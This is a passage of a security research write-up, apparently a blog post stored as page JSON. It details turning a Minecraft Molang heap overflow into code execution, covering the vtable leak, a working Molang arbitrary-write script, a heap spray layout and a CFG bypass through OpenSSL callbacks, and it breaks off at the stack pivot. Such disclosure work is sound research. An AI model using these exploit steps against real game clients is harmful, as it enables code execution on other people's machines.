variables.",{"type":24,"tag":920,"props":157237,"children":157239},{"code":157238},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[157240],{"type":24,"tag":156,"props":157241,"children":157242},{"__ignoreMap":7},[157243],{"type":30,"value":157238},{"type":24,"tag":21895,"props":157245,"children":157246},{},[],{"type":24,"tag":33,"props":157248,"children":157249},{},[157250,157252,157257,157259,157264,157266,157271,157273,157278,157279,157284],{"type":30,"value":157251},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":156,"props":157253,"children":157255},{"className":157254},[],[157256],{"type":30,"value":152552},{"type":30,"value":157258}," pointer of ",{"type":24,"tag":156,"props":157260,"children":157262},{"className":157261},[],[157263],{"type":30,"value":155356},{"type":30,"value":157265}," in the entity object above, one that would index ",{"type":24,"tag":156,"props":157267,"children":157269},{"className":157268},[],[157270],{"type":30,"value":12247},{"type":30,"value":157272}," and the final ",{"type":24,"tag":156,"props":157274,"children":157276},{"className":157275},[],[157277],{"type":30,"value":155485},{"type":30,"value":157258},{"type":24,"tag":156,"props":157280,"children":157282},{"className":157281},[],[157283],{"type":30,"value":155532},{"type":30,"value":157285}," also in the same entity object above.",{"type":24,"tag":33,"props":157287,"children":157288},{},[157289,157291,157297,157298,157304,157306,157311,157312,157317,157319,157324,157326,157331,157332,157337,157339,157344],{"type":30,"value":157290},"The corrupted variables ",{"type":24,"tag":156,"props":157292,"children":157294},{"className":157293},[],[157295],{"type":30,"value":157296},"variable.corrupted_len_ptr",{"type":30,"value":211},{"type":24,"tag":156,"props":157299,"children":157301},{"className":157300},[],[157302],{"type":30,"value":157303},"variable.corrupted_cap_ptr",{"type":30,"value":157305}," point to ",{"type":24,"tag":156,"props":157307,"children":157309},{"className":157308},[],[157310],{"type":30,"value":12247},{"type":30,"value":211},{"type":24,"tag":156,"props":157313,"children":157315},{"className":157314},[],[157316],{"type":30,"value":155485},{"type":30,"value":157318},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":156,"props":157320,"children":157322},{"className":157321},[],[157323],{"type":30,"value":157130},{"type":30,"value":157325},", points to the ",{"type":24,"tag":156,"props":157327,"children":157329},{"className":157328},[],[157330],{"type":30,"value":152552},{"type":30,"value":156337},{"type":24,"tag":156,"props":157333,"children":157335},{"className":157334},[],[157336],{"type":30,"value":155356},{"type":30,"value":157338},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":156,"props":157340,"children":157342},{"className":157341},[],[157343],{"type":30,"value":155356},{"type":30,"value":157345},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":33,"props":157347,"children":157348},{},[157349],{"type":30,"value":157350},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":21995,"props":157352,"children":157354},{"id":157353},"leaking-pointers",[157355],{"type":30,"value":157356},"Leaking Pointers",{"type":24,"tag":33,"props":157358,"children":157359},{},[157360,157362,157368],{"type":30,"value":157361},"In C++, an object’s first field is typically a ",{"type":24,"tag":156,"props":157363,"children":157365},{"className":157364},[],[157366],{"type":30,"value":157367},"vtable",{"type":30,"value":157369}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":920,"props":157371,"children":157373},{"code":157372},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[157374],{"type":24,"tag":156,"props":157375,"children":157376},{"__ignoreMap":7},[157377],{"type":30,"value":157372},{"type":24,"tag":33,"props":157379,"children":157380},{},[157381,157382,157387,157389,157394,157396,157401,157403,157408,157410,157415,157416,157421,157423,157428],{"type":30,"value":259},{"type":24,"tag":156,"props":157383,"children":157385},{"className":157384},[],[157386],{"type":30,"value":42239},{"type":30,"value":157388}," field inside a ",{"type":24,"tag":156,"props":157390,"children":157392},{"className":157391},[],[157393],{"type":30,"value":155029},{"type":30,"value":157395}," is at offset ",{"type":24,"tag":156,"props":157397,"children":157399},{"className":157398},[],[157400],{"type":30,"value":155290},{"type":30,"value":157402},". We already control a corrupted variable, ",{"type":24,"tag":156,"props":157404,"children":157406},{"className":157405},[],[157407],{"type":30,"value":157296},{"type":30,"value":157409},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":156,"props":157411,"children":157413},{"className":157412},[],[157414],{"type":30,"value":12247},{"type":30,"value":156337},{"type":24,"tag":156,"props":157417,"children":157419},{"className":157418},[],[157420],{"type":30,"value":155532},{"type":30,"value":157422}," by 2 bytes, which in turn advances ",{"type":24,"tag":156,"props":157424,"children":157426},{"className":157425},[],[157427],{"type":30,"value":157296},{"type":30,"value":157429}," by 2 bytes.",{"type":24,"tag":33,"props":157431,"children":157432},{},[157433,157435,157440,157442,157448,157449,157454,157455,157460,157462,157467],{"type":30,"value":157434},"By moving ",{"type":24,"tag":156,"props":157436,"children":157438},{"className":157437},[],[157439],{"type":30,"value":12247},{"type":30,"value":157441}," so it equals ",{"type":24,"tag":156,"props":157443,"children":157445},{"className":157444},[],[157446],{"type":30,"value":157447},"cap - 0x38",{"type":30,"value":280},{"type":24,"tag":156,"props":157450,"children":157452},{"className":157451},[],[157453],{"type":30,"value":42239},{"type":30,"value":156337},{"type":24,"tag":156,"props":157456,"children":157458},{"className":157457},[],[157459],{"type":30,"value":157296},{"type":30,"value":157461}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":156,"props":157463,"children":157465},{"className":157464},[],[157466],{"type":30,"value":157367},{"type":30,"value":157468}," pointer. We can then capture that pointer with:",{"type":24,"tag":920,"props":157470,"children":157472},{"code":157471},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[157473],{"type":24,"tag":156,"props":157474,"children":157475},{"__ignoreMap":7},[157476],{"type":30,"value":157471},{"type":24,"tag":33,"props":157478,"children":157479},{},[157480,157482,157487,157489,157494,157496,157501,157503,157509],{"type":30,"value":157481},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":156,"props":157483,"children":157485},{"className":157484},[],[157486],{"type":30,"value":12247},{"type":30,"value":157488}," until it equals ",{"type":24,"tag":156,"props":157490,"children":157492},{"className":157491},[],[157493],{"type":30,"value":157233},{"type":30,"value":157495},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":156,"props":157497,"children":157499},{"className":157498},[],[157500],{"type":30,"value":157367},{"type":30,"value":157502}," address in ",{"type":24,"tag":156,"props":157504,"children":157506},{"className":157505},[],[157507],{"type":30,"value":157508},"variable.saved_vtable_pointer",{"type":30,"value":436},{"type":24,"tag":21895,"props":157511,"children":157512},{},[],{"type":24,"tag":33,"props":157514,"children":157515},{},[157516,157518,157523,157525,157531],{"type":30,"value":157517},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":156,"props":157519,"children":157521},{"className":157520},[],[157522],{"type":30,"value":46591},{"type":30,"value":157524}," to the address ",{"type":24,"tag":156,"props":157526,"children":157528},{"className":157527},[],[157529],{"type":30,"value":157530},"vtable + 0x1000",{"type":30,"value":157532}," looks like this:",{"type":24,"tag":920,"props":157534,"children":157536},{"code":157535},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[157537],{"type":24,"tag":156,"props":157538,"children":157539},{"__ignoreMap":7},[157540],{"type":30,"value":157535},{"type":24,"tag":21995,"props":157542,"children":157544},{"id":157543},"required-heap-layout",[157545],{"type":30,"value":157546},"Required Heap Layout",{"type":24,"tag":33,"props":157548,"children":157549},{},[157550],{"type":30,"value":157551},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":920,"props":157553,"children":157555},{"code":157554},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[157556],{"type":24,"tag":156,"props":157557,"children":157558},{"__ignoreMap":7},[157559],{"type":30,"value":157554},{"type":24,"tag":33,"props":157561,"children":157562},{},[157563,157565,157571,157573,157578,157580,157585,157587,157592,157593,157598],{"type":30,"value":157564},"The first region (",{"type":24,"tag":156,"props":157566,"children":157568},{"className":157567},[],[157569],{"type":30,"value":157570},"Heap Region 1",{"type":30,"value":157572},") contains alternating ",{"type":24,"tag":156,"props":157574,"children":157576},{"className":157575},[],[157577],{"type":30,"value":155356},{"type":30,"value":157579},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":156,"props":157581,"children":157583},{"className":157582},[],[157584],{"type":30,"value":155386},{"type":30,"value":157586}," pointers of ",{"type":24,"tag":156,"props":157588,"children":157590},{"className":157589},[],[157591],{"type":30,"value":155356},{"type":30,"value":211},{"type":24,"tag":156,"props":157594,"children":157596},{"className":157595},[],[157597],{"type":30,"value":155532},{"type":30,"value":157599}," from the entity object for our main attack.",{"type":24,"tag":33,"props":157601,"children":157602},{},[157603,157605,157611,157613,157618,157620,157625,157627,157632,157634,157639],{"type":30,"value":157604},"The second region (",{"type":24,"tag":156,"props":157606,"children":157608},{"className":157607},[],[157609],{"type":30,"value":157610},"Heap Region 2",{"type":30,"value":157612},") contains interleaved ",{"type":24,"tag":156,"props":157614,"children":157616},{"className":157615},[],[157617],{"type":30,"value":155532},{"type":30,"value":157619},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":156,"props":157621,"children":157623},{"className":157622},[],[157624],{"type":30,"value":157367},{"type":30,"value":157626}," pointer into ",{"type":24,"tag":156,"props":157628,"children":157630},{"className":157629},[],[157631],{"type":30,"value":157296},{"type":30,"value":157633}," during our main attack. It could be any object with a ",{"type":24,"tag":156,"props":157635,"children":157637},{"className":157636},[],[157638],{"type":30,"value":157367},{"type":30,"value":157640},", but for simplicity we use the entity object.",{"type":24,"tag":33,"props":157642,"children":157643},{},[157644,157646,157652,157654,157659],{"type":30,"value":157645},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":156,"props":157647,"children":157649},{"className":157648},[],[157650],{"type":30,"value":157651},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":30,"value":157653}," will very likely clobber the ",{"type":24,"tag":156,"props":157655,"children":157657},{"className":157656},[],[157658],{"type":30,"value":155852},{"type":30,"value":157660}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":33,"props":157662,"children":157663},{},[157664],{"type":30,"value":157665},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":33,"props":157667,"children":157668},{},[157669],{"type":30,"value":157670},"The final exploit proceeds in three stages:",{"type":24,"tag":478,"props":157672,"children":157673},{},[157674,157679,157684],{"type":24,"tag":100,"props":157675,"children":157676},{},[157677],{"type":30,"value":157678},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":100,"props":157680,"children":157681},{},[157682],{"type":30,"value":157683},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":100,"props":157685,"children":157686},{},[157687],{"type":30,"value":157688},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":21995,"props":157690,"children":157692},{"id":157691},"initial-corruption-variant-lfh-heap-approach",[157693],{"type":30,"value":157694},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":33,"props":157696,"children":157697},{},[157698],{"type":30,"value":157699},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":33,"props":157701,"children":157702},{},[157703,157705,157710,157711,157717],{"type":30,"value":157704},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":156,"props":157706,"children":157708},{"className":157707},[],[157709],{"type":30,"value":155599},{"type":30,"value":9599},{"type":24,"tag":156,"props":157712,"children":157714},{"className":157713},[],[157715],{"type":30,"value":157716},"last_index",{"type":30,"value":157718}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":33,"props":157720,"children":157721},{},[157722,157724,157729,157730,157735,157737,157742,157744,157749,157751,157756,157758,157764,157765,157771,157772,157778],{"type":30,"value":157723},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":156,"props":157725,"children":157727},{"className":157726},[],[157728],{"type":30,"value":152552},{"type":30,"value":156337},{"type":24,"tag":156,"props":157731,"children":157733},{"className":157732},[],[157734],{"type":30,"value":155532},{"type":30,"value":157736},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":156,"props":157738,"children":157740},{"className":157739},[],[157741],{"type":30,"value":155290},{"type":30,"value":157743}," within the ",{"type":24,"tag":156,"props":157745,"children":157747},{"className":157746},[],[157748],{"type":30,"value":155532},{"type":30,"value":157750}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":156,"props":157752,"children":157754},{"className":157753},[],[157755],{"type":30,"value":58724},{"type":30,"value":157757}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":156,"props":157759,"children":157761},{"className":157760},[],[157762],{"type":30,"value":157763},"0xfb",{"type":30,"value":962},{"type":24,"tag":156,"props":157766,"children":157768},{"className":157767},[],[157769],{"type":30,"value":157770},"0xfc",{"type":30,"value":211},{"type":24,"tag":156,"props":157773,"children":157775},{"className":157774},[],[157776],{"type":30,"value":157777},"0xfd",{"type":30,"value":157779}," the script would do:",{"type":24,"tag":920,"props":157781,"children":157783},{"code":157782},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[157784],{"type":24,"tag":156,"props":157785,"children":157786},{"__ignoreMap":7},[157787],{"type":30,"value":157782},{"type":24,"tag":33,"props":157789,"children":157790},{},[157791,157793,157798,157799,157805,157807,157812],{"type":30,"value":157792},"That line would write the ",{"type":24,"tag":156,"props":157794,"children":157796},{"className":157795},[],[157797],{"type":30,"value":58724},{"type":30,"value":95238},{"type":24,"tag":156,"props":157800,"children":157802},{"className":157801},[],[157803],{"type":30,"value":157804},"0x302700fb00fc00fd",{"type":30,"value":157806}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":156,"props":157808,"children":157810},{"className":157809},[],[157811],{"type":30,"value":155532},{"type":30,"value":157813}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":151,"props":157815,"children":157817},{"id":157816},"hijacking-execution",[157818],{"type":30,"value":157819},"Hijacking Execution",{"type":24,"tag":33,"props":157821,"children":157822},{},[157823,157825,157830,157832,157838],{"type":30,"value":157824},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":156,"props":157826,"children":157828},{"className":157827},[],[157829],{"type":30,"value":157367},{"type":30,"value":157831}," and function pointers in the writable ",{"type":24,"tag":156,"props":157833,"children":157835},{"className":157834},[],[157836],{"type":30,"value":157837},".data",{"type":30,"value":157839}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":33,"props":157841,"children":157842},{},[157843],{"type":30,"value":157844},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":33,"props":157846,"children":157847},{},[157848],{"type":30,"value":157849},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":33,"props":157851,"children":157852},{},[157853],{"type":24,"tag":140,"props":157854,"children":157856},{"alt":142,"src":157855},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":33,"props":157858,"children":157859},{},[157860,157862,157868,157870,157876,157878,157883,157885,157890,157892,157898,157900,157905,157907,157913,157915,157920],{"type":30,"value":157861},"This snippet calls a method on an object: ",{"type":24,"tag":156,"props":157863,"children":157865},{"className":157864},[],[157866],{"type":30,"value":157867},"rcx",{"type":30,"value":157869}," holds the object pointer, the first ",{"type":24,"tag":156,"props":157871,"children":157873},{"className":157872},[],[157874],{"type":30,"value":157875},"mov",{"type":30,"value":157877}," loads the object's ",{"type":24,"tag":156,"props":157879,"children":157881},{"className":157880},[],[157882],{"type":30,"value":157367},{"type":30,"value":157884}," into ",{"type":24,"tag":156,"props":157886,"children":157888},{"className":157887},[],[157889],{"type":30,"value":59864},{"type":30,"value":157891},", and the function pointer at ",{"type":24,"tag":156,"props":157893,"children":157895},{"className":157894},[],[157896],{"type":30,"value":157897},"rax + 0x8",{"type":30,"value":157899}," is read into ",{"type":24,"tag":156,"props":157901,"children":157903},{"className":157902},[],[157904],{"type":30,"value":59864},{"type":30,"value":157906},". Finally, ",{"type":24,"tag":156,"props":157908,"children":157910},{"className":157909},[],[157911],{"type":30,"value":157912},"__guard_dispatch_icall_fptr",{"type":30,"value":157914}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":156,"props":157916,"children":157918},{"className":157917},[],[157919],{"type":30,"value":59864},{"type":30,"value":157921}," as a legal call target before invoking it.",{"type":24,"tag":33,"props":157923,"children":157924},{},[157925],{"type":30,"value":157926},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":33,"props":157928,"children":157929},{},[157930],{"type":24,"tag":140,"props":157931,"children":157933},{"alt":142,"src":157932},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":33,"props":157935,"children":157936},{},[157937,157939,157945,157947,157953],{"type":30,"value":157938},"Here, the function pointer at ",{"type":24,"tag":156,"props":157940,"children":157942},{"className":157941},[],[157943],{"type":30,"value":157944},"vtable + 0x10",{"type":30,"value":157946}," is loaded into ",{"type":24,"tag":156,"props":157948,"children":157950},{"className":157949},[],[157951],{"type":30,"value":157952},"rdx",{"type":30,"value":157954}," and then called directly.",{"type":24,"tag":33,"props":157956,"children":157957},{},[157958],{"type":30,"value":157959},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":33,"props":157961,"children":157962},{},[157963,157965,157970],{"type":30,"value":157964},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":156,"props":157966,"children":157968},{"className":157967},[],[157969],{"type":30,"value":157367},{"type":30,"value":157971}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":21995,"props":157973,"children":157975},{"id":157974},"locating-overwrite-targets",[157976],{"type":30,"value":157977},"Locating Overwrite Targets",{"type":24,"tag":33,"props":157979,"children":157980},{},[157981,157983,157989,157990,157995,157997,158002,158004,158010],{"type":30,"value":157982},"One of the first targets we identified were the ",{"type":24,"tag":156,"props":157984,"children":157986},{"className":157985},[],[157987],{"type":30,"value":157988},"malloc",{"type":30,"value":211},{"type":24,"tag":156,"props":157991,"children":157993},{"className":157992},[],[157994],{"type":30,"value":152600},{"type":30,"value":157996}," callbacks. These reside in the ",{"type":24,"tag":156,"props":157998,"children":158000},{"className":157999},[],[158001],{"type":30,"value":157837},{"type":30,"value":158003}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":156,"props":158005,"children":158007},{"className":158006},[],[158008],{"type":30,"value":158009},"OPENSSL_malloc/free",{"type":30,"value":134458},{"type":24,"tag":33,"props":158012,"children":158013},{},[158014],{"type":24,"tag":140,"props":158015,"children":158017},{"alt":142,"src":158016},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":33,"props":158019,"children":158020},{},[158021],{"type":30,"value":158022},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":33,"props":158024,"children":158025},{},[158026,158028,158034,158036,158042,158044,158049],{"type":30,"value":158027},"Later, we found another promising function: ",{"type":24,"tag":156,"props":158029,"children":158031},{"className":158030},[],[158032],{"type":30,"value":158033},"ossl_ec_key_new_method_int",{"type":30,"value":158035},". This function creates and initializes an ",{"type":24,"tag":156,"props":158037,"children":158039},{"className":158038},[],[158040],{"type":30,"value":158041},"EC_KEY",{"type":30,"value":158043}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":156,"props":158045,"children":158047},{"className":158046},[],[158048],{"type":30,"value":157837},{"type":30,"value":158050},") containing function pointers:",{"type":24,"tag":33,"props":158052,"children":158053},{},[158054],{"type":24,"tag":140,"props":158055,"children":158057},{"alt":142,"src":158056},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":33,"props":158059,"children":158060},{},[158061,158063,158069,158070,158076,158078,158083,158085,158091,158093,158098,158100,158105,158107,158112],{"type":30,"value":158062},"In the image above, ",{"type":24,"tag":156,"props":158064,"children":158066},{"className":158065},[],[158067],{"type":30,"value":158068},"ret->meth",{"type":30,"value":127922},{"type":24,"tag":156,"props":158071,"children":158073},{"className":158072},[],[158074],{"type":30,"value":158075},"default_ec_key_meth",{"type":30,"value":158077},", which points to a structure of function pointers located in ",{"type":24,"tag":156,"props":158079,"children":158081},{"className":158080},[],[158082],{"type":30,"value":157837},{"type":30,"value":158084},". It then calls ",{"type":24,"tag":156,"props":158086,"children":158088},{"className":158087},[],[158089],{"type":30,"value":158090},"ret->meth->init",{"type":30,"value":158092},", passing the ",{"type":24,"tag":156,"props":158094,"children":158096},{"className":158095},[],[158097],{"type":30,"value":1722},{"type":30,"value":158099}," pointer (",{"type":24,"tag":156,"props":158101,"children":158103},{"className":158102},[],[158104],{"type":30,"value":14097},{"type":30,"value":158106},"). This alone isn’t especially useful because ",{"type":24,"tag":156,"props":158108,"children":158110},{"className":158109},[],[158111],{"type":30,"value":14097},{"type":30,"value":158113}," is heap-allocated.",{"type":24,"tag":33,"props":158115,"children":158116},{},[158117,158119,158124],{"type":30,"value":158118},"But, if we look at how ",{"type":24,"tag":156,"props":158120,"children":158122},{"className":158121},[],[158123],{"type":30,"value":158090},{"type":30,"value":158125}," is invoked in the disassembly:",{"type":24,"tag":33,"props":158127,"children":158128},{},[158129],{"type":24,"tag":140,"props":158130,"children":158132},{"alt":142,"src":158131},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":33,"props":158134,"children":158135},{},[158136,158137,158142,158144,158149,158151,158156,158158,158163,158165,158170,158172,158177,158179,158184,158186,158192],{"type":30,"value":3710},{"type":24,"tag":156,"props":158138,"children":158140},{"className":158139},[],[158141],{"type":30,"value":158090},{"type":30,"value":158143}," is not ",{"type":24,"tag":156,"props":158145,"children":158147},{"className":158146},[],[158148],{"type":30,"value":57585},{"type":30,"value":158150},", it is called while ",{"type":24,"tag":156,"props":158152,"children":158154},{"className":158153},[],[158155],{"type":30,"value":59864},{"type":30,"value":158157}," still contains the value of ",{"type":24,"tag":156,"props":158159,"children":158161},{"className":158160},[],[158162],{"type":30,"value":158068},{"type":30,"value":158164}," - that is, a pointer to the structure in ",{"type":24,"tag":156,"props":158166,"children":158168},{"className":158167},[],[158169],{"type":30,"value":157837},{"type":30,"value":158171}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":156,"props":158173,"children":158175},{"className":158174},[],[158176],{"type":30,"value":158075},{"type":30,"value":158178}," with a pointer to a region in ",{"type":24,"tag":156,"props":158180,"children":158182},{"className":158181},[],[158183],{"type":30,"value":157837},{"type":30,"value":158185}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":156,"props":158187,"children":158189},{"className":158188},[],[158190],{"type":30,"value":158191},"mov rsp, rax; ret",{"type":30,"value":158193},"-style gadget.",{"type":24,"tag":33,"props":158195,"children":158196},{},[158197,158199,158204,158206,158211],{"type":30,"value":158198},"Although we discovered that ",{"type":24,"tag":156,"props":158200,"children":158202},{"className":158201},[],[158203],{"type":30,"value":158033},{"type":30,"value":158205}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":156,"props":158207,"children":158209},{"className":158208},[],[158210],{"type":30,"value":158009},{"type":30,"value":158212}," callbacks.",{"type":24,"tag":21995,"props":158214,"children":158216},{"id":158215},"stack-pivot",[158217],{"type":30,"value":158218},"Stack Pivot",{"type":24,"tag":33,"props":158220,"children":158221},{},[158222,158224,158229,158231,158236,158238,158243,158245,158251],{"type":30,"value":158223},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":156,"props":158225,"children":158227},{"className":158226},[],[158228],{"type":30,"value":157837},{"type":30,"value":158230},", overwrite ",{"type":24,"tag":156,"props":158232,"children":158234},{"className":158233},[],[158235],{"type":30,"value":158075},{"type":30,"value":158237}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":156,"props":158239,"children":158241},{"className":158240},[],[158242],{"type":30,"value":158033},{"type":30,"value":158244},". This ultimately calls ",{"type":24,"tag":156,"props":158246,"children":158248},{"className":158247},[],[158249],{"type":30,"value":158250},"default_ec_key_meth->init",{"type":30,"value":158252},", which executes the pivot and begins ROP execution.",{"type":24,"tag":33,"props":158254,"children":158255},{},[158256,158258,158264,158266,158272],{"type":30,"value":158257},"We chose to overwrite the ",{"type":24,"tag":156,"props":158259,"children":158261},{"className":158260},[],[158262],{"type":30,"value":158263},"OPENSSL_free",{"type":30,"value":158265}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":156,"props":158267,"children":158269},{"className":158268},[],[158270],{"type":30,"value":158271},"OPENSSL_malloc",{"type":30,"value":158273}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":33,"props":158275,"children":158276},{},[158277,158279,158285,158286,158292,158294,158299],{"type":30,"value":158278},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":156,"props":158280,"children":158282},{"className":158281},[],[158283],{"type":30,"value":158284},"add rsp, 0x10; pop r14; ret",{"type":30,"value":211},{"type":24,"tag":156,"props":158287,"children":158289},{"className":158288},[],[158290],{"type":30,"value":158291},"xchg rsp, rax; ret",{"type":30,"value":158293},". The exploit writes them into ",{"type":24,"tag":156,"props":158295,"children":158297},{"className":158296},[],[158298],{"type":30,"value":157837},{"type":30,"value":158300}," like this:",{"type":24,"tag":920,"props":158302,"children":158304},{"code":158303},"      +-----------------------------+\n+0x00 | add rsp, 